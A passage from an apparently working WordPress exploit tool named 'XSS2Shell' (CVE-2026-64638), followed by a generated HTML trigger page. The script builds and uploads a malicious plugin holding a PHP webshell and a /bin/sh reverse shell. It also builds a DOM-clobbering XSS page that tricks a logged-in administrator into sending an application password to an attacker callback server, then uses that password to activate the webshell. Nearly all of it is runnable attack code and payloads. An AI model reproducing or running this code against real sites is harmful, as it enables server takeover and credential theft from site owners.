return True, "RAW_HTML"
if f"< area id={marker} >" in r2.text or f'<area id="{marker}">' in r2.text or f"id=\"{marker}\"" in r2.text:
return True, "AREA_BYPASS"
# Check for HTML encoding (patched)
if f"&lt;b&gt;{marker}&lt;/b&gt;" in r1.text:
return False, "ESCAPED"
# Tags stripped but text reflected
if marker in r1.text:
return False, "STRIPPED"
return False, "NOT_REFLECTED"
# ─── Plugin Generator ─────────────────────────────────────────
def build_plugin_zip(slug="xss2shell"):
"""Build WP plugin ZIP with webshell + reverse shell capability"""
code = """<?php
/**
* Plugin Name: XSS2Shell Bridge
* Version: 1.0
* Author: pentest
*/
// Command webshell
if (isset($_REQUEST['cmd'])) {
$c = $_REQUEST['cmd'];
foreach (['system','exec','shell_exec','passthru'] as $f)
if (function_exists($f)) { $f($c); exit; }
if (function_exists('proc_open')) {
$p = proc_open($c, [['pipe','r'],['pipe','w'],['pipe','w']], $pp);
if (is_resource($p)) { echo stream_get_contents($pp[1]); proc_close($p); }
}
exit;
}
// Reverse shell
if (isset($_REQUEST['rev'])) {
list($ip, $port) = explode(':', $_REQUEST['rev'].':4444');
set_time_limit(0);
$s = @fsockopen($ip, (int)$port, $e, $m, 30);
if ($s) {
proc_close(proc_open('/bin/sh -i', [['pipe','r'],['pipe','w'],['pipe','w']], $pp, null, null, [
0 => $s, 1 => $s, 2 => $s
]));
}
exit;
}
"""
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as z:
z.writestr(f'{slug}/', '')
z.writestr(f'{slug}/{slug}.php', code)
return buf.getvalue()
# ─── Direct Credential RCE ────────────────────────────────────
def direct_rce(target, username, password, lhost=None, lport=4444, slug="xss2shell"):
"""Login → upload plugin → RCE (skip XSS)"""
s = requests.Session()
s.headers.update({"User-Agent": rand_ua()})
print(f"\n [*] Logging in as: {username}")
r = s.post(urljoin(target, "/wp-login.php"), data={
"log": username, "pwd": password,
"wp-submit": "Log In", "redirect_to": urljoin(target, "/wp-admin/"),
"testcookie": "1"
}, timeout=TIMEOUT, allow_redirects=False)
if 'wordpress_logged_in' not in str(s.cookies):
err = re.search(r'<strong>Error:</strong>\s*([^<]+)', r.text)
print(f" [-] Login FAILED: {err.group(1).strip() if err else 'unknown'}")
return False
print(f" [+] Login OK")
# Get upload nonce
r = s.get(urljoin(target, "/wp-admin/plugin-install.php?tab=upload"), timeout=TIMEOUT)
m = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', r.text)
if not m:
print(" [-] Cannot get upload nonce (perms?)")
return False
nonce = m.group(1)
# Upload with retry
for attempt in range(3):
cur = slug if attempt == 0 else f"{slug}{attempt}"
print(f" [*] Uploading plugin: {cur}")
zip_data = build_plugin_zip(cur)
r = s.post(urljoin(target, "/wp-admin/update.php?action=upload-plugin"),
files={'pluginzip': (f'{cur}.zip', zip_data, 'application/zip')},
data={'_wpnonce': nonce, 'install-plugin-submit': 'Install Now'},
timeout=TIMEOUT)
if 'already' in r.text.lower():
print(f" [!] {cur} exists, retrying...")
r = s.get(urljoin(target, "/wp-admin/plugin-install.php?tab=upload"), timeout=TIMEOUT)
m = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', r.text)
if m:
nonce = m.group(1)
continue
if 'successfully' in r.text.lower() or 'installed' in r.text.lower():
slug = cur
print(f" [+] Plugin installed: {slug}")
break
# Check error
err = re.search(r'<p[^>]*>([^<]+)</p>', r.text)
if err:
print(f" [-] Upload error: {err.group(1).strip()}")
return False
print(" [!] Upload unclear, continuing...")
slug = cur
break
else:
print(" [-] All attempts failed. Use --slug <unique_name>")
return False
# Test webshell
ws_url = f"{target}/wp-content/plugins/{slug}/{slug}.php"
r = s.get(f"{ws_url}?cmd=id", timeout=TIMEOUT)
if 'uid=' not in r.text:
print(f" [-] Webshell not responding: {ws_url}")
return False
print(f"""
╔══════════════════════════════════════════════╗
║ [!] RCE CONFIRMED — {r.text.strip()[:40]}
╠══════════════════════════════════════════════╣
║ WEBSHELL:
║ curl '{ws_url}' --data-urlencode 'cmd=COMMAND'
║
║ REVERSE SHELL:
║ curl '{ws_url}?rev=IP:PORT'
╚══════════════════════════════════════════════╝""")
# Trigger reverse shell
if lhost:
print(f"\n [*] Triggering reverse shell → {lhost}:{lport}")
try:
r = s.get(f"{ws_url}?rev={lhost}:{lport}", timeout=5)
msg = r.text.strip()[:100] if r.status_code == 500 else f"HTTP {r.status_code}"
print(f" [*] {msg}")
except requests.exceptions.Timeout:
print(" [+] Connection hanging (shell likely connected!)")
except Exception as e:
print(f" [*] {e}")
print(f" [!] Listener: nc -lvnp {lport}")
return True
# ─── XSS Chain RCE ────────────────────────────────────────────
def xss_chain(target, lhost, lport=4444, slug="xss2shell", callback_port=9090):
"""
Full XSS chain:
1. Start callback server to capture app password
2. Generate trigger page that exploits XSS to steal app password
3. Wait for admin victim to visit trigger page
4. Use captured app password for plugin upload → RCE
"""
print(f"\n [*] XSS Chain Mode — {target}")
# Start callback server
httpd, cb_port = start_callback(callback_port)
if not httpd:
print(" [-] Cannot start callback server")
return False
cb_url = f"http://{lhost}:{cb_port}/collect"
print(f" [+] Callback server: {cb_url}")
# Generate XSS trigger page
xss_payload = '< area id=ajaxurl shape=default href="{}" ><button id="wp-auth-check" onclick="window.ajaxurl=\'{}\'">x</button>'.format(cb_url, cb_url)
trigger_html = """<!DOCTYPE html>
<html><head><meta charset="UTF-8"><title>XSS2Shell Demo</title>
<style>
body{background:#1a1a2e;color:#fff;font-family:Arial;text-align:center;padding-top:60px}
.step{background:#16213e;border:1px solid #0f3460;border-radius:8px;padding:18px;margin:15px auto;max-width:500px;text-align:left}
.btn{background:#e94560;color:#fff;padding:14px 30px;border-radius:5px;text-decoration:none;font-size:18px;display:inline-block;margin:10px;font-weight:bold}
code{background:#0a0a1a;color:#00ff88;padding:3px 8px;border-radius:3px}
</style></head>
<body>
<h2>CVE-2026-64638 — XSS2Shell</h2>
<div class="step"><b>Step 1:</b> XSS Payload (auto-fired)<br><small>DOM Clobbering via <code>&lt;area id=ajaxurl&gt;</code></small></div>
<div class="step"><b>Step 2:</b> Click button to authorize app password
<a class="btn" href="TARGET_PLACEHOLDER/wp-admin/authorize-application.php?app_name=XSS2Shell&success_url=CB_PLACEHOLDER%3Fc%3D%24data%24" target="_top">Open Authorize Page</a></div>
<div class="step"><b>Step 3:</b> Click <b>"Yes, I approve of this connection"</b><br><small>App password auto-sent to callback server</small></div>
<iframe name="hf" style="display:none"></iframe>
<form id="f" method="POST" action="TARGET_PLACEHOLDER/wp-login.php" target="hf">
<input type="hidden" name="log" id="log" value="">
<input type="hidden" name="pwd" value="test">
<input type="hidden" name="wp-submit" value="Log In">
<input type="hidden" name="testcookie" value="1">
</form>
<script>
document.getElementById('log').value = 'XSS_PLACEHOLDER';
document.getElementById('f').submit();
</script>
</body></html>"""
trigger_html = trigger_html.replace('TARGET_PLACEHOLDER', target)
trigger_html = trigger_html.replace('XSS_PLACEHOLDER', xss_payload)
trigger_html = trigger_html.replace('CB_PLACEHOLDER', cb_url)
filename = f"trigger_{urlparse(target).hostname}.html"
with open(filename, "w") as f:
f.write(trigger_html)
print(f" [+] Trigger page: {filename}")
# Wait for victim
print(f"""
╔══════════════════════════════════════════════╗
║ XSS TRIGGER READY ║
╠══════════════════════════════════════════════╣
║ 1. Host trigger page & send to admin victim
║ 2. Victim must be LOGGED IN to WordPress
║ 3. App password will be auto-captured
║
║ Quick test (local):
║ cd {os.getcwd()}
║ python3 -m http.server 8000
║ Visit: http://{lhost}:8000/{filename}
╚══════════════════════════════════════════════╝
[*] Waiting for victim (Ctrl+C to stop)...""")
try:
for _ in range(300): # 5 min timeout
time.sleep(1)
if CallbackHandler.captured:
break
except KeyboardInterrupt:
print("\n [!] Interrupted")
httpd.shutdown()
return False
if not CallbackHandler.captured:
print("\n [-] Timeout: no app password captured")
httpd.shutdown()
return False
app_pw = CallbackHandler.captured.strip()
app_user = CallbackHandler.captured_user if CallbackHandler.captured_user else "admin"
httpd.shutdown()
print(f" [+] App password: {app_pw[:50]}...")
print(f" [+] Username: {app_user}")
# Use app password for RCE via REST API (NOT wp-admin)
print(f"\n [*] Using app password for REST API plugin activation...")
session = requests.Session()
session.headers.update({"User-Agent": rand_ua()})
# Try captured username with app password for Basic Auth (REST API only)
found_user = None
for uname in [app_user, "admin", "administrator", "ZSecurity"]:
session.auth = (uname, app_pw.replace(' ', ''))
r = session.get(urljoin(target, "/wp-json/wp/v2/users/me"), timeout=TIMEOUT)
if r.status_code == 200:
found_user = uname
print(f" [+] REST API auth OK as: {uname}")
break
# Also try with spaces
session.auth = (uname, app_pw)
r = session.get(urljoin(target, "/wp-json/wp/v2/users/me"), timeout=TIMEOUT)
if r.status_code == 200:
found_user = uname
print(f" [+] REST API auth OK as: {uname} (with spaces)")
break
if not found_user:
print(" [-] REST API auth failed with captured password")
return False
# List plugins to find our webshell
r = session.get(urljoin(target, "/wp-json/wp/v2/plugins"), timeout=TIMEOUT)
plugins = r.json() if r.status_code == 200 else []
# Find our pre-staged webshell plugin
target_plugin = None
for p in plugins:
plugin_slug = p.get('plugin', '')
if slug in plugin_slug or 'xss2shell' in plugin_slug:
target_plugin = plugin_slug
print(f" [+] Found webshell plugin: {plugin_slug} (status: {p.get('status')})")
break
if not target_plugin:
# No pre-staged plugin - try to create one via REST API
print(" [!] No pre-staged webshell plugin found.")
print(" [*] Attempting REST API plugin install...")
# Try POST to create/install plugin (WP.org only, but try anyway)
r = session.post(urljoin(target, "/wp-json/wp/v2/plugins"),
json={"slug": slug, "status": "inactive"}, timeout=TIMEOUT)
if r.status_code in [200, 201]:
target_plugin = f"{slug}/{slug}"
print(f" [+] Plugin created: {target_plugin}")
else:
# Try to find ANY installed plugin we can hijack
if plugins:
target_plugin = plugins[0].get('plugin', '')
print(f" [!] No webshell found. First run direct mode to stage plugin.")
print(f" [*] Try: python3 poc_fixed_v2.py -u ZSecurity -p '***' --slug {slug} {target}")
return False
# Activate the plugin
encoded_plugin = urllib.parse.quote(target_plugin, safe='/')
r = session.post(
urljoin(target, f"/wp-json/wp/v2/plugins/{encoded_plugin}"),
json={"status": "active"}, timeout=TIMEOUT)
if r.status_code == 200:
new_status = r.json().get('status', '?')
print(f" [+] Plugin activated: {target_plugin} → {new_status}")
else:
print(f" [!] Activation: HTTP {r.status_code} — {r.text[:100]}")
# Test webshell (append .php to plugin path from REST API)
ws_path = f"/wp-content/plugins/{target_plugin}.php"
ws_url = urljoin(target, f"{ws_path}?cmd=id")
r = requests.get(ws_url, timeout=TIMEOUT)
if 'uid=' in r.text:
print(f"""
╔══════════════════════════════════════════════╗
║ [!] XSS2Shell CHAIN COMPLETE ║
║ [!] RCE: {r.text.strip()[:40]}
╠══════════════════════════════════════════════╣
║ WEBSHELL:
║ curl '{ws_url}' --data-urlencode 'cmd=id'
╚══════════════════════════════════════════════╝""")
return True
else:
print(f" [-] Webshell check failed: {r.text[:100]}")
print(f" [*] Try manually: curl '{ws_url}'")
return False
# ─── Main ─────────────────────────────────────────────────────
def main():
parser = argparse.ArgumentParser(description="CVE-2026-64638 XSS2Shell v2.0")
parser.add_argument("target", help="Target URL")
parser.add_argument("--mode", choices=["auto", "xss", "direct"], default="auto",
help="Exploit mode (default: auto)")
parser.add_argument("-u", "--username", default="", help="WP username (direct/fallback)")
parser.add_argument("-p", "--password", default="", help="WP password (direct/fallback)")
parser.add_argument("--lhost", default="", help="Attacker IP for reverse shell / callback")
parser.add_argument("--lport", type=int, default=4444, help="Reverse shell port")
parser.add_argument("--slug", default="xss2shell", help="Plugin slug name")
parser.add_argument("--callback-port", type=int, default=9090, help="Callback server port (default: 9090)")
parser.add_argument("--no-rev", action="store_true", help="Skip reverse shell trigger")
args = parser.parse_args()
banner()
target = args.target.rstrip('/')
if not target.startswith("http"):
target = "http://" + target
host = urlparse(target).hostname
# Auto-detect attacker IP
lhost = args.lhost
if not lhost:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((host, 1))
lhost = s.getsockname()[0]
s.close()
except:
lhost = "127.0.0.1"
rev_lhost = lhost if not args.no_rev else None
print(f" Target : {target}")
print(f" Attacker: {lhost}")
if args.username:
print(f" Creds : {args.username}:******")
# Fingerprint
ver = wp_version(target)
if ver:
print(f" WP Ver : {ver}")
else:
print(" WP Ver : unknown")
# XSS detection
xss_ok, xss_detail = detect_xss(target)
print(f" XSS : {'VULNERABLE' if xss_ok else 'PATCHED'} ({xss_detail})")
# Determine mode
mode = args.mode
if mode == "auto":
if xss_ok:
mode = "xss"
print("\n [AUTO] XSS works → using XSS chain mode")
elif args.username and args.password:
mode = "direct"
print("\n [AUTO] XSS patched → falling back to direct credential mode")
else:
print("\n [-] XSS patched and no credentials provided.")
print(" [!] Options:")
print(" --mode xss --lhost IP (requires vulnerable WP)")
print(" -u USER -p PASS (direct credential mode)")
return
print(f"\n {'='*50}")
print(f" MODE: {mode.upper()}")
print(f" {'='*50}")
if mode == "direct":
if not args.username or not args.password:
print(" [-] Direct mode requires --username and --password")
return
direct_rce(target, args.username, args.password, rev_lhost, args.lport, args.slug)
elif mode == "xss":
if not xss_ok:
print(" [-] XSS not detected on this target. Use a vulnerable WP version.")
print(" [!] Try Docker: wordpress:6.7 (pre-backport image)")
return
xss_chain(target, lhost, args.lport, args.slug, args.callback_port)
if __name__ == "__main__":
main()
+26
View File
@@ -0,0 +1,26 @@
<!DOCTYPE html>
<html><head><meta charset="UTF-8"><title>XSS2Shell Demo</title>
<style>
body{background:#1a1a2e;color:#fff;font-family:Arial;text-align:center;padding-top:60px}
.step{background:#16213e;border:1px solid #0f3460;border-radius:8px;padding:18px;margin:15px auto;max-width:500px;text-align:left}
.btn{background:#e94560;color:#fff;padding:14px 30px;border-radius:5px;text-decoration:none;font-size:18px;display:inline-block;margin:10px;font-weight:bold}
code{background:#0a0a1a;color:#00ff88;padding:3px 8px;border-radius:3px}
</style></head>
<body>
<h2>CVE-2026-64638 — XSS2Shell</h2>
<div class="step"><b>Step 1:</b> XSS Payload (auto-fired)<br><small>DOM Clobbering via <code>&lt;area id=ajaxurl&gt;</code></small></div>
<div class="step"><b>Step 2:</b> Click button to authorize app password
<a class="btn" href="http://192.168.0.87:8080/wp-admin/authorize-application.php?app_name=XSS2Shell&success_url=http://192.168.0.47:9091/collect%3Fc%3D%24data%24" target="_top">Open Authorize Page</a></div>
<div class="step"><b>Step 3:</b> Click <b>"Yes, I approve of this connection"</b><br><small>App password auto-sent to callback server</small></div>
<iframe name="hf" style="display:none"></iframe>
<form id="f" method="POST" action="http://192.168.0.87:8080/wp-login.php" target="hf">
<input type="hidden" name="log" id="log" value="">
<input type="hidden" name="pwd" value="test">
<input type="hidden" name="wp-submit" value="Log In">
<input type="hidden" name="testcookie" value="1">
</form>
<script>
document.getElementById('log').value = '< area id=ajaxurl shape=default href="http://192.168.0.47:9091/collect" ><button id="wp-auth-check" onclick="window.ajaxurl='http://192.168.0.47:9091/collect'">x</button>';
document.getElementById('f').submit();
</script>
</body></html>